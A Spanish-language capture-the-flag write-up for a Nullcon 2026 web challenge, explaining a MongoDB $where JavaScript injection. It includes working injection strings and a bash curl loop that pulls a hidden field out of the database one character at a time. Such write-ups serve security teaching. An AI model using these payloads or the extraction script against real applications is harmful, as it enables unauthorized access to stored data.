Datos del reto
| Campo | Valor |
|---|---|
| CTF | Nullcon CTF 2026 |
| Reto | CVEDB |
| Categoría | Web |
| Contexto | "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL." |
| URL | http://52.59.124.14:5000/ |
| Flag | ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz} |
Descripción del reto
La aplicación era una base de datos de CVEs con un buscador bastante simple. La pista de "without actual SQL" prácticamente pedía mirar hacia NoSQL, y desde ahí la resolución salió de entender cómo estaban armando la búsqueda en MongoDB.
Reconocimiento
Con whatweb se veía un backend Express, y el comportamiento del formulario sugería que el parámetro query terminaba en una búsqueda por regex.
Al hacer búsquedas rápidas aparecían varias pistas útiles:
CVEdevolvía todos los registros.flagsolo devolvía uno.(o)rompían la consulta con error de base de datos.
Además, entre los resultados destacaba CVE-1337-1337, con una descripción bastante sospechosa. En el HTML también había campos comentados que no se mostraban en la interfaz:
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
Eso hacía pensar que había más datos en cada documento de los que la UI enseñaba.
Análisis
La parte vulnerable estaba en una consulta $where con input del usuario interpolado directamente dentro de JavaScript. Conceptualmente era algo así:
const filter = {
$where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};
Si el input cerraba el regex y metía código propio, Mongo terminaba evaluando JavaScript arbitrario sobre cada documento. Por ejemplo, esta cadena:
test/i)||true||(/test
hacía que la condición devolviera true para todo y por eso salían todos los documentos.
Una vez confirmado eso, el siguiente paso fue probar qué campos existían en this. product y vendor estaban presentes aunque la interfaz no los mostrara, y product era justo donde empezaba la flag.
Resolución
Primero confirmé que la flag estaba en product con una condición booleana:
1337/i)&&(this.product.startsWith("ENO"))&&(/1337
Después medí la longitud y terminé de extraerla carácter por carácter con startsWith(). La idea era mandar peticiones como esta e ir ampliando el prefijo válido:
1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337
Un script sencillo en bash alcanzaba para automatizarlo:
FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'
for pos in $(seq 4 53); do
for char in $(echo "$CHARSET" | fold -w1); do
prefix="${FLAG}${char}"
payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"
result=$(curl -s -X POST http://52.59.124.14:5000/search \
--data-urlencode "query=${payload}" | grep -c "Found 1")
if [ "$result" -eq 1 ]; then
FLAG="${prefix}"
break
fi
done
done
echo "$FLAG"
Tras unas cuantas peticiones, la aplicación fue revelando toda la cadena.
Flag
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}